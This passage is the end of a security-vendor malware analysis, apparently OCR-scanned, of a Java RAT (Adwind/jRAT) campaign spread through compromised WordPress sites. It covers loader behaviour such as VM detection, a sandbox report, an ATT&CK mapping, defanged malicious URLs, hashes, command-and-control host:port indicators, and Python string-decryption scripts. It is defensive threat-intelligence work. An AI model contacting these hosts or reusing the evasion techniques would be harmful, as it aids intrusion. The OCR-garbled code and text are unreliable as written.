System.load(a5.gethbsolutePath())
a.loaded = true:

Figure 16: The code for loading the DLL.

5. It checks the value of the “active” key in the decrypted config.json file. If the value is set to true, then the RAT delays the execution by the
“delay” number of seconds as configured in the config.json file.

6. It checks for the presence of a virtualization environment, such as VMWare, Virtualbox and Qemu. If it finds the presence of such an
environment, then it exits the execution.

We will not be describing the functionality of this binary in detail in this blog since the final payload is a well-known jRAT (Java-based RAT).

Cloud Sandbox Detection

Figure 17 shows the Zscaler Cloud Sandbox successfully detecting this JAR-based threat.
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https://www.zscaler.com/products/sandboxing

@2>zscaler Cloud Sandbox =

SANDBOX DETAIL REPORT ®HghRsk  * Moderato Risk Low Rlsk a2
Report 1D (MD5): 919F2D0043F063A90702FB3688T695ER Analysis Performed: 22/04/2020 16:37:02 File Type: Java ARchive files analysis
CLASSIFICATION VIRUS AND MALWARE SECURITY BYPASS 3
Class Type Threat Score » Sample Sleeps For A Long Time (Installer Files Shows

Malicious These Property).
Category 86 Checks For Kermnel Debuggers
Malware & Botriet [T T o fmour fAsiuam foung Executes Massive Amount Of Sleeps In A Loop

NETWORKING b STEALTH b4 SPREADING
» Performs Connections To |Ps Without Corresponding DNS = Creates Autostart Registry Keys To Launch Java
Lookups + Uses Cacls To Modify The Permissions Of Files

« Detected TCP Or UDP Traffic On Mon-standard Ports

URLs Found In Memary Or Binary Data No suspicious activity detected

INFORMATION LEAKAGE EXPLOITING 3 PERSISTENCE 3
# Runtime Environment Drops PE File » Checks If Anti-virus Program Is Installed
* Runtime Environment Starts Unknown Processes » Creates An Autostart Registry Key
May Try To Detect The Windows Explorer Process * Deletes Files Inside The Windows Folder

Mo suspicious activity detected

Figure 17: Zscaler Cloud Sandbox detection.

In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators at various levels, as seen here:
Java.Backdoor.Adwind.

Conclusion

This threat actor leverages compromised websites to serve heavily encrypted variants of a Java-based RAT, which makes the detection
difficult over the network.

As an extra precaution, users should not run JAR files from untrusted and unknown sources since JAR files contain executable code and
have the capability of infecting a system.

Web administrators who use WordPress installations should ensure that they are running the latest version of WordPress plugins and themes
to prevent any vulnerability from being exploited.

The Zscaler ThreatLabZ team will continue to monitor this campaign, as well as others, to help keep our customers safe.

MITRE ATT&CK TTP Mapping

Tactic Technique

Persistence Registry Run Keys / Startup Folder - T1060
Obfuscation Obfuscated Files or Information - T1027
Software Packing T1045

Process Discovery Query and kill system processes - T1057
Security Software Discovery T1063

System Information Discovery T1082

System Network Configuration Discovery T1016

Windows Management Instrumentation T1047
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https://threatlibrary.zscaler.com/?keyword=Java.Backdoor.Adwind

Uncommonly Used Port T1065

Indicators of Compromise (IOC)

URLSs hosting JAR files
hxxp://haus-pesjak[.]Jat/Covid-19Update.jar
hxxps://digitaltextile.com[.]ru/lk/Deutsche%20Telekom.jar
hxxps://digitaltextile.com[.Jru/n/DHL%20paket.jar
hxxp://haus-pesjak[.]at/04-07-20Intuitinvoices.jar
hxxp://teddyshatsworld[.]pl/Reylontransport-covid19-statement20.jar
hxxp://thaivictory.col.]th/pageconfig/album/dir/5/order.jar
hxxp://cherryemoore[.Jcom/USPS/RedeliveryUSPS jar
hxxps://feylibertad|.Jorg/Amazon-P020023938.jar
hxxp://mahalowood[.Jcom/USPS/USPSReschedulerLabel.jar
hxxps://newsha.jsonland[.]irfwp-includes/css/DHLPaket.jar
hxxps://www.stillval[.Jcom/USPS/RescheduleUSPS .jar
hxxps://thediscoveryrun[.Jcom/UPS/ShippingInfo.jar
hxxp://jeddahcrumbly[.Jcom/DHLPAKET.jar
hxxps://dev.medialogistics2020[.]Jca/wp-content/plugins/ubh/Quickbooks-INV5066.jar
Hashes of the samples
7e4bdf62d3ecd78b3f407f6ec1158678
0a5f34440389ca860235434e€a963465
1da18ec639f7ec2a8aad58655d846e23
d7489b47e17630e5594a320b43b201db
da52c24302a03626d2175123b751f466
b766cf6695730b74a107cb73157262b1
919f2d0043f063a90702fb36887699e8
d470d5a428f99818278fb2816a8d03e9
8f5e55fbb1bee93dc5912dcbd0092519
4a97b2d004d72b692ab4f621b5b74775
051b4da1f0079c6f60d6c8eb62b3f586
2020551b5373121053abdbf3eaafa02d
a4da22e269b93148eb9857036b9a072a
876eb4208ef2eec6e9f12b13f764a975
1d77e96974e1e2301ed78cec19e8710b

Network Indicators

212.114.52[.]236:9932

unks123.duckdns|.]Jorg:46865
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lay.dubyal[.]us:8181
fresh.ygto[.Jcom:1010
gwiza1988.hopto[.]Jorg:6025
praisesalways.ddns[.Jnet:1010
wawa.cleansite[.]Jus:1010
dlee889.mywire[.]Jorg:5858
Appendix |
String decryption routine
#! Jusr/bin/python
-*- coding: utf-8 -*-
import sys
# Replace encoded_string with the string to be decoded.
input = <encoded_string>
# Replace one_byte_key with the respective value found in the Java class file
key = <one_byte_key>
| = len(input) - 1
output =]
counter = |
while counter >= 0:
b1 = ord(input[l]) * key
t = (I * key) & Ox3f
output.append(chr(b1))
I=1-1
if | <0:
break
b2 = ord(input[l]) * t
key = (I * t) & Ox3f
output.append(chr(b2))
I=1-1
counter = |
output.reverse()
print(".join(output))
Allatori string decryption routine ported to Python
#! Jusr/bin/python
import os
import sys

def decode(encrypted, c_method):
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base_string = c_method

n2 = len(encrypted)

n3=n2-1

# Replace n4_val and n5_val with the respective values used in the Allatori obfuscator.
# These are one byte values

n4 = <n4_val>

n5 = <n5_val>

n6 = n = len(base_string) - 1

string2 = base_string

result =[]

while (n3 >= 0):
n7 =n3
n3=n3-1

result.append(chr(n5 * (ord(encrypted[n7]) * ord(string2[n]))))
if (N3 < 0): break

n8 =n3

n3=n3-1

result.append(chr(n4 * (ord(encrypted[n8]) » ord(string2[n]))))

n9 =n3
return result
if _name__=="__main__"
# Replace encrypted_string with the string to be decrypted

encrypted_str = <encrypted_string>

# Replace calling_class_name and calling_method_name with the names of the Class and Method from where the decryption routine
was invoked

c_method = <calling_class_name> + <calling_method_name>

print ".join(decode(encrypted_str, c_method))[::-1]
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